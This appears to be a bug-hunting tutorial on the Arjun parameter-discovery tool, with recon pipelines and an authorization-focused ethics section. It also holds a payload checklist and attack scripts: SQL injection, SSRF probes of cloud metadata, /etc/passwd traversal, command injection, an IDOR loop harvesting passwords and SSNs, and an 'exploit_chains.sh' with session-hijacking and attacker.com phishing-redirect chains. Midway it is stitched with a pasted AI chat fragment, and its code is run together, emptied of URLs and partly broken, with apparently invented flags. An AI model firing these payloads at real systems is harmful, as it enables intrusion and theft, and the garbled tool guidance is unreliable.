> For the complete documentation index, see [llms.txt](https://mainekhacker-1.gitbook.io/mainekhacker/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mainekhacker-1.gitbook.io/mainekhacker/tools/arjun-the-ultimate-parameter-discovery-tool-for-bug-hunters.md). # Arjun: The Ultimate Parameter Discovery Tool For Bug Hunters ## **Arjun: The Complete Guide to Hidden Parameter Discovery for Bug Hunters** **Arjun** is a **high-performance parameter discovery tool** that uncovers hidden, undocumented, or forgotten parameters in web applications. For security researchers and bug hunters, finding these hidden parameters is often the gateway to critical vulnerabilities like XSS, SQLi, SSRF, and IDOR attacks. This guide covers everything from installation to advanced exploitation workflows. *** ### **What is Arjun and Why Hidden Parameters Matter** Arjun is a **lightweight, fast parameter fuzzer** written in Python that discovers hidden parameters by comparing HTTP responses when parameters are injected into requests. Unlike traditional parameter discovery tools, Arjun is **intelligent**—it doesn't just look for status code changes; it analyzes response content, headers, and timing to identify when a parameter is actually being processed. #### **Why Hidden Parameters Are a Goldmine** **Hidden parameters exist for several reasons:** * **Legacy code** — Old API endpoints that are no longer documented but still functional * **Debug parameters** — Developers left behind for testing (e.g., `?debug=1`, `?admin=true`) * **Internal parameters** — Meant for internal tools but accessible from the public API * **Undocumented features** — Features removed from documentation but still active * **Rate limiting bypasses** — Parameters that reset rate limit counters * **Authentication bypasses** — Parameters that can override or bypass auth checks **Real-world examples:** * A parameter like `?user_id=999` might expose IDOR vulnerabilities * `?callback=` in JSON endpoints can lead to JSONP injection * `?redirect=` can enable open redirect attacks * `?format=xml` might bypass WAF rules designed for JSON *** ### **Installation Methods** #### **Method 1: Using pip (Recommended)** ```bash bashCopy Code pipinstall arjun ``` #### **Method 2: From Source** ```bash bashCopy Code git clone Arjunpipinstall -r requirements.txtpython arjun.py ``` #### **Method 3: Using pipx (Isolated Environment)** ```bash bashCopy Code pipxinstall arjun ``` #### **Verify Installation** ```bash bashCopy Code arjun --version ``` *** ### **All Major Flags: Reference Table** | **Flag** | **Short** | **Argument** | **Description** | **Example** | | ---------------- | --------- | ------------ | ----------------------------------------------- | ------------------------------------ | | `--url` | `-u` | URL | Target URL to scan | `-u | | `--urls` | `-U` | File path | File containing URLs (one per line) | `-U urls.txt` | | `--wordlist` | `-w` | File path | Custom parameter wordlist | `-w custom_params.txt` | | `--get` | — | — | Test GET parameters only | `--get` | | `--post` | — | — | Test POST parameters only | `--post` | | `--json` | — | — | Test JSON body parameters | `--json` | | `--headers` | — | — | Test HTTP headers | `--headers` | | `--cookies` | — | — | Test cookie parameters | `--cookies` | | `--threads` | `-t` | Number | Number of concurrent threads (default: 2) | `-t 10` | | `--delay` | `-d` | Seconds | Delay between requests in seconds | `-d 0.5` | | `--timeout` | — | Seconds | HTTP request timeout (default: 10) | `--timeout 15` | | `--stable-rate` | — | Number | Filter params by stable response rate (0-1) | `--stable-rate 0.95` | | `--diff-ratio` | — | Ratio | Minimum difference ratio to flag as found (0-1) | `--diff-ratio 0.1` | | `--batch` | `-b` | Size | Batch size for requests | `-b 50` | | `--headers-file` | — | File path | Custom headers from file | `--headers-file headers.txt` | | `--proxy` | `-p` | URL | HTTP proxy for requests | `-p http://127.0.0.1:8080` | | `--socks5` | — | URL | SOCKS5 proxy | `--socks5 127.0.0.1:9050` | | `--verify-ssl` | — | — | Disable SSL verification | `--verify-ssl false` | | `--passive` | — | — | Passive mode (no fuzzing, analysis only) | `--passive` | | `--output` | `-o` | File path | Save results to file | `-o results.json` | | `--verbose` | `-v` | — | Verbose output | `-v` | | `--quiet` | `-q` | — | Suppress non-critical output | `-q` | *** ### **4 Real-World Workflows** #### **Workflow 1: XSS Discovery via Hidden Parameters** **Objective:** Find hidden parameters that might be reflected in responses, leading to XSS vulnerabilities. ```bash bashCopy Code # Basic scan for hidden parametersarjun -u -t10 # Once parameters are found, test for XSS# Example: if 'q' parameter is foundcurl"" ``` **Follow-up testing:** * Test for reflected XSS in found parameters * Check if parameters are reflected in HTML, JavaScript, or JSON * Test encoding bypasses (URL encoding, HTML encoding, etc.) *** #### **Workflow 2: API Fuzzing with Hidden Parameters** **Objective:** Discover undocumented API parameters that might expose sensitive data. ```bash bashCopy Code # Scan an API endpointarjun -u --json\ -t15\ --timeout20 # Test common API parameters for data exposure# If 'fields' parameter found:curl"" ``` **Common API parameters to look for:** * `fields=` — Field selection (data exposure) * `include=` — Related object inclusion * `expand=` — Nested object expansion * `admin=true` — Admin mode bypass * `debug=1` — Debug output *** #### **Workflow 3: SSRF Hunting** **Objective:** Find parameters that accept URLs and might be exploitable for SSRF attacks. ```bash bashCopy Code # Scan with extended wordlist focused on URL parametersarjun -u -w ssrf_wordlist.txt\ --post\ -t10 # If 'url' or 'fetch' parameter found, test SSRFcurl -X POST""\ -d"url=http://127.0.0.1:22"\ -H"Content-Type: application/x-www-form-urlencoded" # Test internal endpointscurl -X POST""\ -d"url=http://169.254.169.254/latest/meta-data/" ``` **SSRF parameter indicators:** * `url=`, `uri=`, `endpoint=`, `fetch=`, `load=`, `redirect=` * `target=`, `host=`, `domain=`, `server=` *** #### **Workflow 4: Mass Scanning with Automation** **Objective:** Scan hundreds of URLs for hidden parameters efficiently. ```bash bashCopy Code # Create URL list from multiple sourcescat subdomains.txt|whileread sub;doecho"">> urls.txtdone # Batch scan with Arjunarjun -U urls.txt\ -t5\ --delay0.2\ -o results.json\ --quiet # Parse results for interesting parameterscat results.json| jq'.[] | select(.params[].name == "admin")' ``` *** ### **Full Recon Pipeline Script** **Complete integration with subfinder, httpx, gau, and waybackurls:** ```bash bashCopy Code #!/bin/bash TARGET="example.com"OUTPUT_DIR="recon_$TARGET" mkdir -p$OUTPUT_DIR echo"[*] Step 1: Subdomain Enumeration"subfinder -d$TARGET -o$OUTPUT_DIR/subdomains.txt -silent echo"[*] Step 2: HTTP Probe"cat$OUTPUT_DIR/subdomains.txt| httpx -o$OUTPUT_DIR/live_hosts.txt -silent echo"[*] Step 3: URL Collection from Web Archives"cat$OUTPUT_DIR/live_hosts.txt|whileread url;do waybackurls$url>>$OUTPUT_DIR/wayback_urls.txt gau --subs$url>>$OUTPUT_DIR/gau_urls.txtdone echo"[*] Step 4: Deduplicate URLs"cat$OUTPUT_DIR/wayback_urls.txt$OUTPUT_DIR/gau_urls.txt|sort -u>$OUTPUT_DIR/all_urls.txt echo"[*] Step 5: Parameter Discovery with Arjun"arjun -U$OUTPUT_DIR/all_urls.txt\ -t10\ --delay0.1\ --timeout15\ -o$OUTPUT_DIR/arjun_results.json\ --stable-rate0.9 echo"[*] Step 6: Parse and Filter Results"cat$OUTPUT_DIR/arjun_results.json| jq -r'.[] | select(.params | length > 0) | {url: .url, params: [.params[].name]}'>$OUTPUT_DIR/found_params.json echo"[*] Step 7: Generate Report"echo"=== Parameter Discovery Report ===">$OUTPUT_DIR/report.txtecho"Target:$TARGET">>$OUTPUT_DIR/report.txtecho"Date:$(date)">>$OUTPUT_DIR/report.txtecho"">>$OUTPUT_DIR/report.txtecho"URLs Scanned:$(wc -l< $OUTPUT_DIR/all_urls.txt)">>$OUTPUT_DIR/report.txtecho"Parameters Found:$(cat $OUTPUT_DIR/arjun_results.json| jq'[.[].params[]] | length')">>$OUTPUT_DIR/report.txtecho"">>$OUTPUT_DIR/report.txtcat$OUTPUT_DIR/found_params.json>>$OUTPUT_DIR/report.txt echo"[+] Recon complete! Results in$OUTPUT_DIR/" ``` **Save as `recon.sh` and run:** ```bash bashCopy Code chmod +x recon.sh./recon.sh ``` *** ### **Burp Suite + ffuf Integration** #### **Integration Strategy 1: Export Arjun Results to Burp** ```bash bashCopy Code # Run Arjun and export resultsarjun -U urls.txt -o arjun_results.json # Convert to Burp-compatible formatpython3<<'EOF'import jsonwith open('arjun_results.json') as f: results = json.load(f)burp_requests = []for item in results: url = item['url'] for param in item.get('params', []): param_name = param['name'] # Create test payload test_url = f"{url}?{param_name}=BURP_TEST" burp_requests.append(test_url)with open('burp_urls.txt', 'w') as f: f.write('\n'.join(burp_requests))print(f"[+] Generated {len(burp_requests)} URLs for Burp")EOF ``` **In Burp Suite:** 1. Go to **Intruder** → **Load** → Select `burp_urls.txt` 2. Set payload position on parameter values 3. Configure attack type and payloads #### **Integration Strategy 2: Arjun + ffuf for Parameter Fuzzing** ```bash bashCopy Code # Use Arjun to find parameters, then ffuf to fuzz valuesarjun -u -o params.json # Extract parameter namesPARAMS=$(cat params.json| jq -r'.params[].name'|tr'\n'',') # Use ffuf to fuzz parameter valuesffuf -u""\ -w wordlist.txt\ -fw100\ -mc200,201,400,403 ``` #### **Integration Strategy 3: Burp Macro for Automated Testing** **Create a Burp macro that:** 1. Runs Arjun on discovered endpoints 2. Automatically sends found parameters to Scanner 3. Logs results in Burp's issue tracker ```python pythonCopy Code # Burp Extender Script (Python)from burpimport IBurpExtender, ISessionHandlingActionimport subprocessimport json classBurpExtender(IBurpExtender, ISessionHandlingAction):defregisterExtenderCallbacks(self, callbacks): self._callbacks= callbacks callbacks.registerSessionHandlingAction(self) defgetActionName(self):return"Run Arjun Parameter Discovery" defperformAction(self, currentRequest, macroItems):# Extract URL from request request_info= self._helpers.analyzeRequest(currentRequest) url= request_info.getUrl().toString() # Run Arjun result= subprocess.run(['arjun','-u', url,'-o','temp.json'], capture_output=True) # Parse and send to Scannerwithopen('temp.json')as f: data= json.load(f)for itemin data:for paramin item.get('params',[]):# Send to Scanner self._callbacks.doActiveScan(url,80,False, currentRequest) ``` *** ### **Evasion & Stealth Tips for WAF Bypass and Rate Limit Avoidance** #### **Tip 1: Rate Limiting Evasion** ```bash bashCopy Code # Use delay between requestsarjun -u --delay1\ -t2\ --timeout20 # Rotate through proxies (if available)arjun -u -p \ --delay0.5 # Use rotating user agentscat> ua_rotation.py<<'EOF'import arjunimport randomuser_agents = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) Firefox/89.0"]# Modify Arjun's headers before each requestfor ua in user_agents: # Custom implementation passEOF ``` #### **Tip 2: WAF Detection Evasion** ```bash bashCopy Code # Use case variation in parameter namesarjun -u -w wordlist_case_variations.txt # Example wordlist with variations:# admin# Admin# ADMIN# aDmIn # Test with different HTTP methodsarjun -u --post arjun -u --get arjun -u --json # Use headers to bypass WAFcat> headers.txt<<'EOF'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)X-Forwarded-For: 127.0.0.1X-Original-IP: 127.0.0.1Referer: arjun -u --headers-file headers.txt ``` #### **Tip 3: Response Analysis Tuning** ```bash bashCopy Code # Adjust stability rate to reduce false positives# Higher rate = more conservative (fewer findings)arjun -u --stable-rate0.95\ --diff-ratio0.15 # Use verbose mode to understand what's being detectedarjun -u -v # Analyze response differences manuallyarjun -u -o results.json -v ``` #### **Tip 4: Passive Mode for Stealth** ```bash bashCopy Code # Use passive mode to analyze without active fuzzing# Requires pre-collected URLs with parametersarjun --passive -U urls_with_params.txt -o results.json # This analyzes existing URLs without sending fuzzing payloads ``` *** ### **Custom Wordlists & Passive Mode Usage** #### **Creating Custom Wordlists** **For specific targets:** ```bash bashCopy Code # Extract parameters from JavaScript filescat> extract_params.py<<'EOF'import reimport sysjs_files = sys.argv[1:]params = set()for js_file in js_files: with open(js_file) as f: content = f.read() # Find parameter patterns found = re.findall(r'[?&](\w+)=', content) params.update(found)for param in sorted(params): print(param)EOF python extract_params.py *.js> custom_wordlist.txt ``` **Combine multiple wordlists:** ```bash bashCopy Code # Combine multiple wordlistscat wordlist1.txt wordlist2.txt wordlist3.txt|sort -u> merged_wordlist.txt # Use with Arjunarjun -u -w merged_wordlist.txt ``` **Domain-specific wordlists:** ```bash bashCopy Code # Create wordlist for e-commerce targetscat> ecommerce_params.txt<<'EOF'product_iduser_idorder_idpricediscountcouponadmindebugtestapi_keytokensessionusercustomeraccountprofilesettingsconfigversionformatcallbackredirecturlfetchloadincludeexpandfieldssortfiltersearchquerylimitoffsetpagesizeEOF arjun -u -w ecommerce_params.txt ``` #### **Passive Mode Usage** **Passive mode analyzes URLs without active fuzzing:** ```bash bashCopy Code # Collect URLs first (from waybackurls, gau, etc.)waybackurls target.com> urls.txt # Run Arjun in passive modearjun --passive -U urls.txt -o passive_results.json # Passive mode benefits:# - No active requests sent# - No WAF triggers# - Analyzes existing parameter patterns# - Good for stealthy reconnaissance ``` **Passive mode workflow:** ```bash bashCopy Code #!/bin/bash TARGET="example.com" echo"[*] Collecting URLs passively"waybackurls$TARGET|grep -E'\?'> urls_with_params.txtgau$TARGET|grep -E'\?'>> urls_with_params.txt cat urls_with_params.txt|sort -u> final_urls.txt echo"[*] Running Arjun in passive mode"arjun --passive -U final_urls.txt\ -o passive_results.json\ -v echo"[*] Analyzing results"cat passive_results.json| jq'.[] | select(.params | length > 0)' ``` *** ### **Vulnerability Checklist: What to Test After Finding Parameters** Once Arjun discovers hidden parameters, follow this systematic testing checklist: #### **Parameter Testing Checklist** | **Vulnerability Type** | **Test Method** | **Example Payload** | **Tools** | | -------------------------- | -------------------------------------------- | --------------------------------------------------------------------------------- | ------------------------------ | | **XSS (Reflected)** | Inject HTML/JS and check reflection | `` | Browser console, Burp Repeater | | **XSS (Stored)** | Inject payload and verify persistence | `` | Browser, database query | | **SQL Injection** | Test SQL syntax and boolean logic | `' OR '1'='1` | sqlmap, manual testing | | **SSRF** | Request internal IPs and services | `http://127.0.0.1:22`, `http://169.254.169.254/` | curl, Burp Repeater | | **IDOR** | Change ID values to access other users' data | Change `user_id=1` to `user_id=2` | Burp Intruder, manual testing | | **Open Redirect** | Inject external URLs in redirect params | `redirect=https://attacker.com` | Browser, curl | | **Path Traversal** | Access files outside intended directory | `file=../../../../etc/passwd` | curl, Burp Repeater | | **Command Injection** | Execute system commands | `; whoami;`, \` | id\` | | **XXE Injection** | Inject XML payloads | `]>` | XXE testing tools | | **LDAP Injection** | Inject LDAP syntax | \`*)(uid=*))( | (uid=\*\` | | **NoSQL Injection** | Inject NoSQL operators | `{"$ne": null}`, `{"$gt": ""}` | NoSQL-specific tools | | **Authentication Bypass** | Test auth-related parameters | `admin=true`, `role=admin`, `user=admin` | Manual testing | | **Rate Limit Bypass** | Use parameters to reset limits | `bypass_rate_limit=1`, `reset=true` | Burp Intruder | | **Information Disclosure** | Request sensitive data | `include_password=true`, `debug=1` | Manual testing | | **Business Logic Abuse** | Exploit application logic | `apply_discount=999%`, `quantity=-1` | Manual testing | #### **Detailed Testing Workflow** ```bash bashCopy Code #!/bin/bash URL=""|grep -i"img src" # 2. SQLi Testingecho"[*] Step 2: SQL Injection Testing"curl"$URL?$PARAM_NAME=' OR '1'='1"|head -20 # 3. SSRF Testingecho"[*] Step 3: SSRF Testing"curl"$URL?$PARAM_NAME=http://127.0.0.1:22"|head -20 # 4. IDOR Testingecho"[*] Step 4: IDOR Testing"foriin{1..10};docurl -s"$URL?$PARAM_NAME=$i"| jq'.user_id'2>/dev/nulldone # 5. Open Redirect Testingecho"[*] Step 5: Open Redirect Testing"curl -i"$URL?redirect=https://attacker.com"|grep -i location # 6. Path Traversal Testingecho"[*] Step 6: Path Traversal Testing"curl"$URL?$PARAM_NAME=../../../../etc/passwd"|head -20 # 7. Boolean-based SQLiecho"[*] Step 7: Boolean-based SQL Injection"RESPONSE1=$(curl -s"$URL?$PARAM_NAME=1 AND 1=1"|wc -c)RESPONSE2=$(curl -s"$URL?$PARAM_NAME=1 AND 1=2"|wc -c)echo"Response size (true):$RESPONSE1"echo"Response size (false):$RESPONSE2"if["$RESPONSE1" -ne"$RESPONSE2"];thenecho"[!] Potential Boolean-based SQLi detected"fi # 8. Time-based Blind SQLiecho"[*] Step 8: Time-based Blind SQL Injection"timecurl"$URL?$PARAM_NAME=1 AND SLEEP(5)" --max-time10 # 9. Command Injection Testingecho"[*] Step 9: Command Injection Testing"curl"$URL?$PARAM_NAME=; whoami;"curl"$URL?$PARAM_NAME=\$(whoami)"curl"$URL?$PARAM_NAME=\`whoami\`" # 10. Information Disclosureecho"[*] Step 10: Information Disclosure Testing"curl"$URL?$PARAM_NAME=123&debug=1"curl"$URL?$PARAM_NAME=123&admin=true"curl"$URL?$PARAM_NAME=123&include_password=true" ``` #### **Automated Testing with Nuclei** ```bash bashCopy Code # Create Nuclei template for found parameterscat> nuclei_param_test.yaml<<'EOF'id: arjun-param-xss-testinfo: name: XSS in Arjun-discovered Parameters severity: highrequests: - method: GET path: "{{BaseURL}}" payloads: xss_payload: - "" - "" - "javascript:alert(1)" matchers: - type: word words: - "alert"EOF # Run against found parametersnuclei -l arjun_urls.txt -t nuclei_param_test.yaml ``` *** ### **Arjun vs Alternatives: Comparison Table** | **Feature** | **Arjun** | **Param Miner** | **ffuf** | **x8** | **Wfuzz** | | ----------------------- | ------------------- | ---------------- | ----------------- | ------------------- | ----------------- | | **Parameter Discovery** | ✅ Specialized | ✅ Excellent | ⚠️ Manual config | ✅ Good | ✅ Good | | **Speed** | ⭐⭐⭐⭐⭐ Fast | ⭐⭐⭐⭐ Medium | ⭐⭐⭐⭐⭐ Very Fast | ⭐⭐⭐⭐ Fast | ⭐⭐⭐ Medium | | **Ease of Use** | ⭐⭐⭐⭐⭐ Simple | ⭐⭐⭐⭐ Burp native | ⭐⭐⭐ Moderate | ⭐⭐⭐⭐ Simple | ⭐⭐ Complex | | **Parameter Detection** | ⭐⭐⭐⭐⭐ Intelligent | ⭐⭐⭐⭐⭐ Excellent | ⭐⭐⭐ Basic | ⭐⭐⭐⭐ Good | ⭐⭐⭐ Basic | | **False Positives** | ⭐⭐⭐⭐ Low | ⭐⭐⭐⭐ Low | ⭐⭐⭐ Moderate | ⭐⭐⭐⭐ Low | ⭐⭐ High | | **Burp Integration** | ❌ None | ✅ Native | ⚠️ Via extensions | ❌ None | ⚠️ Via extensions | | **Customization** | ⭐⭐⭐⭐ Good | ⭐⭐⭐ Limited | ⭐⭐⭐⭐⭐ Excellent | ⭐⭐⭐⭐ Good | ⭐⭐⭐⭐⭐ Excellent | | **Wordlist Support** | ✅ Custom | ✅ Built-in | ✅ Custom | ✅ Custom | ✅ Custom | | **Passive Mode** | ✅ Yes | ❌ No | ❌ No | ✅ Yes | ❌ No | | **WAF Evasion** | ⭐⭐⭐ Basic | ⭐⭐⭐⭐ Good | ⭐⭐⭐⭐ Good | ⭐⭐⭐⭐⭐ Excellent | ⭐⭐⭐⭐ Good | | **Cost** | 🆓 Free | 💰 Burp Pro | 🆓 Free | 🆓 Free | 🆓 Free | | **Use Case** | Parameter discovery | Burp users | General fuzzing | Parameter discovery | Advanced fuzzing | #### **When to Use Each Tool** **Use Arjun when:** * You need **fast, dedicated parameter discovery** * You want **minimal false positives** * You're **scanning multiple URLs** at scale * You need **passive mode** for stealth **Use Param Miner when:** * You're **already in Burp Suite** * You need **high-confidence results** * You want **integrated scanning workflow** **Use ffuf when:** * You need **extreme speed** for large-scale fuzzing * You want **maximum customization** * You're fuzzing **multiple positions** simultaneously **Use x8 when:** * You need **advanced WAF evasion** * You want **parameter discovery with fuzzing** * You're targeting **heavily protected targets** **Use Wfuzz when:** * You need **highly customizable fuzzing** * You're doing **advanced payload manipulation** * You want **complex filtering logic** *** ### **Responsible Disclosure & Ethics** #### **Legal and Ethical Considerations** **Before using Arjun, ensure:** ✅ **You have explicit written permission** from the target organization to conduct security testing ✅ **The scope is clearly defined** — which URLs, subdomains, and IP ranges are in scope ✅ **You understand local laws** — unauthorized access is illegal in most jurisdictions ✅ **You have a responsible disclosure policy** — know where and how to report findings ✅ **You test on authorized systems only** — never test competitors or unrelated targets #### **Responsible Disclosure Workflow** ```bash bashCopy Code #!/bin/bash # 1. Document findings thoroughlycat> vulnerability_report.md<<'EOF'# Security Vulnerability Report## Summary- Target: [REDACTED]- Finding Date: [DATE]- Severity: [HIGH/MEDIUM/LOW]- CVSS Score: [X.X]## Vulnerability Details- Parameter Name: [PARAM]- Endpoint: [URL]- Attack Vector: [XSS/SQLi/SSRF/etc]- Proof of Concept: [POC]## Impact[Description of potential impact]## Remediation[Suggested fix]## Timeline- [DATE]: Vulnerability discovered- [DATE]: Report submitted- [DATE]: Vendor acknowledged- [DATE]: Patch releasedEOF # 2. Find responsible disclosure contactecho"[*] Searching for security.txt"curl # 3. Look for bug bounty programecho"[*] Checking HackerOne, Bugcrowd, etc." # 4. Contact security teamecho"[*] Send to security@target.com" # 5. Follow up timeline# - Initial report: Day 0# - Follow-up: Day 7# - Public disclosure: Day 90 (if no response) ``` #### **Ethical Guidelines** **DO:** * ✅ Test only what you have permission to test * ✅ Document everything thoroughly * ✅ Report findings responsibly and privately * ✅ Give vendors reasonable time to patch (typically 90 days) * ✅ Follow coordinated disclosure practices * ✅ Respect privacy and confidentiality * ✅ Avoid accessing sensitive data beyond proof of concept * ✅ Use findings to improve security, not for personal gain **DON'T:** * ❌ Access systems without authorization * ❌ Share vulnerabilities publicly before patching * ❌ Demand payment (unless part of a bug bounty) * ❌ Cause damage or disruption to systems * ❌ Exploit vulnerabilities for personal benefit * ❌ Share findings with third parties * ❌ Continue testing after being asked to stop * ❌ Assume silence means permission #### **Bug Bounty Best Practices** ```bash bashCopy Code # Before submitting to a bug bounty program: # 1. Verify the scopeecho"[*] Check program scope on HackerOne/Bugcrowd" # 2. Verify the finding isn't already reportedecho"[*] Search program's disclosed reports" # 3. Create detailed POCcat> poc.md<<'EOF'## Proof of Concept### Prerequisites- None (publicly accessible)### Steps to Reproduce1. Navigate to [URL]2. Inject parameter: [PARAM]=[PAYLOAD]3. Observe [BEHAVIOR]### Expected Result[What should happen]### Actual Result[What actually happens]### Screenshots[Attach screenshots if applicable]EOF # 4. Calculate CVSS scoreecho"[*] Use CVSS calculator: " # 5. Submit through official channelecho"[*] Submit through HackerOne/Bugcrowd, not email" ``` #### **Common Responsible Disclosure Mistakes to Avoid** | **Mistake** | **Impact** | **Solution** | | ---------------------------------------- | ----------------------------- | ------------------------------------ | | **Public disclosure before fix** | Legal liability, vendor anger | Follow 90-day coordinated disclosure | | **No written authorization** | Illegal hacking charges | Get written scope agreement | | **Accessing PII unnecessarily** | Privacy violation | Stop at POC, don't extract data | | **Demanding payment outside bug bounty** | Extortion charges | Only accept bounty program rewards | | **Testing beyond scope** | Trespassing charges | Stick to defined scope | | **Sharing findings with others** | Breach of confidentiality | Keep findings confidential | | **No documentation** | Hard to prove good intent | Document everything thoroughly | | **Continuing after "cease and desist"** | Criminal charges | Respect cease and desist orders | #### **Coordinated Disclosure Timeline** ``` CodeCopy Code Day 0: Vulnerability discoveredDay 1: Initial contact with vendor Day 7: Follow-up if no response Day 30: Escalate if still no response Day 60: Final warning before disclosure Day 90: Public disclosure (if no patch) ``` *** ### **Advanced Tips and Tricks** #### **Tip 1: Integrating with OSINT Tools** ````bash # **Combine Arjun with multiple OSINT sources** cat > full_recon.sh << 'EOF' #!/bin contine **Claude** Haiku 4.5 ```bash bashCopy Code #!/bin/bash TARGET="$1"OUTPUT_DIR="recon_${TARGET}_$(date +%s)" mkdir -p$OUTPUT_DIR # Step 1: Subdomain enumerationecho"[*] Enumerating subdomains..."subfinder -d$TARGET -all -o$OUTPUT_DIR/subdomains.txt2>/dev/nullassetfinder --subs-only$TARGET>>$OUTPUT_DIR/subdomains.txtcat$OUTPUT_DIR/subdomains.txt|sort -u>$OUTPUT_DIR/subdomains_clean.txt # Step 2: HTTP probingecho"[*] Probing live hosts..."cat$OUTPUT_DIR/subdomains_clean.txt| httpx -silent -o$OUTPUT_DIR/live_hosts.txt # Step 3: Collect URLs from multiple sourcesecho"[*] Collecting URLs from web archives..."cat$OUTPUT_DIR/live_hosts.txt|whileread url;doecho"[*] Processing:$url" waybackurls$url2>/dev/null>>$OUTPUT_DIR/wayback_urls.txt& gau --subs$url2>/dev/null>>$OUTPUT_DIR/gau_urls.txt&donewait # Step 4: Filter for API endpointsecho"[*] Filtering API endpoints..."cat$OUTPUT_DIR/wayback_urls.txt$OUTPUT_DIR/gau_urls.txt|\grep -E'(api|v[0-9]|endpoint|service)'|\sort -u>$OUTPUT_DIR/api_urls.txt # Step 5: Run Arjun on API endpointsecho"[*] Running Arjun parameter discovery..."arjun -U$OUTPUT_DIR/api_urls.txt\ -t15\ --delay0.1\ --timeout20\ -o$OUTPUT_DIR/arjun_results.json\ --stable-rate0.9\ -q # Step 6: Extract interesting parametersecho"[*] Analyzing results..."python3<<'PYTHON'import jsonimport syswith open('$OUTPUT_DIR/arjun_results.json') as f: results = json.load(f)# Categorize findingsxss_params = []ssrf_params = []idor_params = []auth_params = []keywords = { 'xss': ['search', 'q', 'query', 'text', 'message', 'content', 'comment'], 'ssrf': ['url', 'uri', 'endpoint', 'fetch', 'load', 'redirect', 'callback'], 'idor': ['id', 'user_id', 'account_id', 'order_id', 'customer_id'], 'auth': ['admin', 'role', 'user', 'token', 'key', 'secret']}for item in results: url = item['url'] for param in item.get('params', []): param_name = param['name'].lower() for category, keywords_list in keywords.items(): if any(kw in param_name for kw in keywords_list): if category == 'xss': xss_params.append({'url': url, 'param': param_name}) elif category == 'ssrf': ssrf_params.append({'url': url, 'param': param_name}) elif category == 'idor': idor_params.append({'url': url, 'param': param_name}) elif category == 'auth': auth_params.append({'url': url, 'param': param_name})print(f"[+] XSS candidates: {len(xss_params)}")print(f"[+] SSRF candidates: {len(ssrf_params)}")print(f"[+] IDOR candidates: {len(idor_params)}")print(f"[+] Auth bypass candidates: {len(auth_params)}")# Save categorized resultswith open('$OUTPUT_DIR/categorized_findings.json', 'w') as f: json.dump({ 'xss': xss_params, 'ssrf': ssrf_params, 'idor': idor_params, 'auth': auth_params }, f, indent=2)PYTHON echo"[+] Recon complete! Results saved to$OUTPUT_DIR/"echo""echo"Summary:"echo" - Subdomains found:$(wc -l< $OUTPUT_DIR/subdomains_clean.txt)"echo" - Live hosts:$(wc -l< $OUTPUT_DIR/live_hosts.txt)"echo" - API endpoints:$(wc -l< $OUTPUT_DIR/api_urls.txt)"echo" - Parameters discovered:$(cat $OUTPUT_DIR/arjun_results.json| jq'[.[].params[]] | length')"EOF chmod +x full_recon.sh./full_recon.sh example.com ```` #### **Tip 2: Parameter Correlation Analysis** ```bash bashCopy Code # Find parameters that appear across multiple endpointspython3<<'EOF'import jsonfrom collections import defaultdictwith open('arjun_results.json') as f: results = json.load(f)param_frequency = defaultdict(int)param_endpoints = defaultdict(list)for item in results: url = item['url'] for param in item.get('params', []): param_name = param['name'] param_frequency[param_name] += 1 param_endpoints[param_name].append(url)# Find parameters appearing in multiple endpointsprint("[*] Parameters appearing in multiple endpoints:")for param, count in sorted(param_frequency.items(), key=lambda x: x[1], reverse=True): if count > 1: print(f"\n[!] Parameter: {param} (found in {count} endpoints)") for url in param_endpoints[param][:3]: print(f" - {url}") if len(param_endpoints[param]) > 3: print(f" ... and {len(param_endpoints[param]) - 3} more")EOF ``` #### **Tip 3: Parameter Value Inference** ```bash bashCopy Code # Infer parameter types and likely valuespython3<<'EOF'import reimport jsonwith open('arjun_results.json') as f: results = json.load(f)# Analyze parameter names to infer typesdef infer_type(param_name): param_lower = param_name.lower() if any(x in param_lower for x in ['id', 'uid', 'user_id', 'account_id']): return 'integer_id', ['1', '2', '999', '0', '-1'] elif any(x in param_lower for x in ['email', 'mail']): return 'email', ['test@example.com', 'admin@example.com'] elif any(x in param_lower for x in ['url', 'uri', 'endpoint', 'fetch']): return 'url', ['', ''] elif any(x in param_lower for x in ['admin', 'role', 'user', 'auth']): return 'boolean/enum', ['true', 'false', '1', '0', 'admin', 'user'] elif any(x in param_lower for x in ['search', 'q', 'query']): return 'string', ['', "' OR '1'='1"] else: return 'unknown', ['test', '1', 'admin']print("[*] Parameter Types and Test Values:")for item in results: for param in item.get('params', []): param_name = param['name'] param_type, test_values = infer_type(param_name) print(f"\n[!] {param_name}") print(f" Type: {param_type}") print(f" Test values: {', '.join(test_values[:3])}")EOF ``` #### **Tip 4: Automated Exploitation Chains** ```bash bashCopy Code # Create exploitation chains for common vulnerabilitiescat> exploit_chains.sh<<'EOF'#!/bin/bashURL="$1"PARAM="$2"echo "[*] Testing exploitation chains for: $PARAM"# Chain 1: XSS → Session Hijackingecho "[*] Chain 1: XSS → Session Hijacking"PAYLOAD=")\">"curl -G "$URL" --data-urlencode "$PARAM=$PAYLOAD"# Chain 2: SSRF → Internal Service Accessecho "[*] Chain 2: SSRF → Internal Service Access"for ip in 127.0.0.1 localhost 169.254.169.254; do for port in 22 80 443 3306 5432 6379 9200; do curl "$URL?$PARAM=http://$ip:$port" --max-time 2 2>/dev/null | head -5 donedone# Chain 3: IDOR → Data Exfiltrationecho "[*] Chain 3: IDOR → Data Exfiltration"for i in {1..100}; do RESPONSE=$(curl -s "$URL?$PARAM=$i") if echo "$RESPONSE" | grep -q "email\|password\|ssn"; then echo "[!] Found sensitive data at ID: $i" echo "$RESPONSE" | jq '.' fidone# Chain 4: Open Redirect → Phishingecho "[*] Chain 4: Open Redirect → Phishing"curl -i "$URL?$PARAM=https://attacker.com/phishing" | grep -i location# Chain 5: SQLi → Authentication Bypassecho "[*] Chain 5: SQLi → Authentication Bypass"SQLI_PAYLOADS=("' OR '1'='1" "admin'--" "' OR 1=1--" "admin' OR '1'='1")for payload in "${SQLI_PAYLOADS[@]}"; do curl -G "$URL" --data-urlencode "$PARAM=$payload" | head -10doneEOF chmod +x exploit_chains.sh./exploit_chains.sh"""id" ``` #### **Tip 5: Performance Optimization** ```bash bashCopy Code # Optimize Arjun for large-scale scanningcat> optimize_arjun.sh<<'EOF'#!/bin/bash# 1. Use threading effectivelyTHREAD_COUNT=$(nproc) # Number of CPU coresecho "[*] Using $THREAD_COUNT threads"# 2. Batch processing for large URL 